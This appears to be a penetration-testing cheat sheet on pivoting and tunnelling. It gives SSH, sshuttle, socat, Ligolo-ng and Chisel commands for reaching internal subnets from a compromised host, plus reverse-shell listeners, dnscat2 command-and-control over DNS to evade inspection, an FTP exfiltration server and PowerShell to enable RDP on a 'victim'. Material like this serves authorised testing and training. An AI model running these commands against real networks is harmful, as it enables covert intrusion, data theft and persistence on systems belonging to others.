Pivoting & tunnelling: getting traffic through

Getting traffic where the tooling can't reach directly — port forwards, SOCKS pivots, and covert tunnels for when a firewall only lets DNS or HTTP out. Ordered from the simplest forward to the most evasive tunnel.

#SSH tunnelling

The everyday forwards, when you have SSH creds on a pivot host:

# local forward — reach a service behind the pivot from your box
ssh -L 9000:10.4.50.10:5432 user@pivot        # localhost:9000 → target:5432

# remote forward — expose your box's port on the pivot
ssh -R 8000:127.0.0.1:80 user@pivot

# dynamic (SOCKS) — a whole subnet through one tunnel; point proxychains at it
ssh -D 1080 user@pivot

sshuttle turns SSH into a transparent VPN across whole ranges — no proxychains needed:

sshuttle -r database_admin@192.168.50.63:2222 10.4.50.0/24 172.16.50.0/24

#SOCAT relays

A simple TCP relay on a middle host — listen on one port, forward to another. One relay per port; kill and restart to change it:

socat -ddd TCP-LISTEN:2345,fork TCP:10.50.40.10:5432
ps aux | grep socat        # find and kill the PID to reconfigure

#Ligolo-ng (preferred pivot)

Gives you a real interface into the target's internal networks — cleaner than proxychains for whole-subnet access.

# on Kali: bring up the tun interface, start the proxy
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
ligolo-proxy -selfcert

# on the victim: connect the agent back
./ligolo.exe -connect <kali-ip>:11601 --retry --ignore-cert

# back on Kali: select the session, route the internal subnet through it, start
session                              # pick the agent
sudo ip route add 172.16.152.0/24 dev ligolo
start                                # in the ligolo prompt

Ligolo can also host a listener on the agent for reverse shells from deeper hosts:

listener_add --addr 0.0.0.0:4242 --to 0.0.0.0:4242
# a host that can only see the agent's internal IP shells back to <agent-internal-ip>:4242

#Chisel (HTTP/SOCKS tunnel)

Client/server over HTTP — good when only web ports egress. Reverse SOCKS is the workhorse:

# Kali (server)
chisel server --port 8888 --reverse

# victim (client) — reverse SOCKS proxy back to Kali
chisel client <kali-ip>:8888 R:socks

# or forward a single internal port back
chisel client <kali-ip>:8888 R:8000:127.0.0.1:8000

#Tunnelling through DPI

When a firewall inspects traffic and only lets DNS or plain protocols through:

DNSCAT2 — command-and-control and port-forwarding entirely over DNS:

dnscat2-server feline.corp          # on Kali (authoritative for the domain)
dnscat feline.corp                  # client on the target
# in the server console:
windows ; windows -i 1              # list / enter a session
listen 127.0.0.1:445 172.16.10.50:445   # port-forward over the DNS tunnel

FTP as a quick exfil/transfer channel when it's the only thing allowed out:

python3 -m pyftpdlib -w             # throwaway writable FTP server

#Enabling RDP on a Windows target

Once you own a Windows host, turning on RDP gives a stable GUI foothold:

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name 'fDenyTSConnections' -Value 0
Enable-NetFirewallRule -DisplayGroup 'Remote Desktop'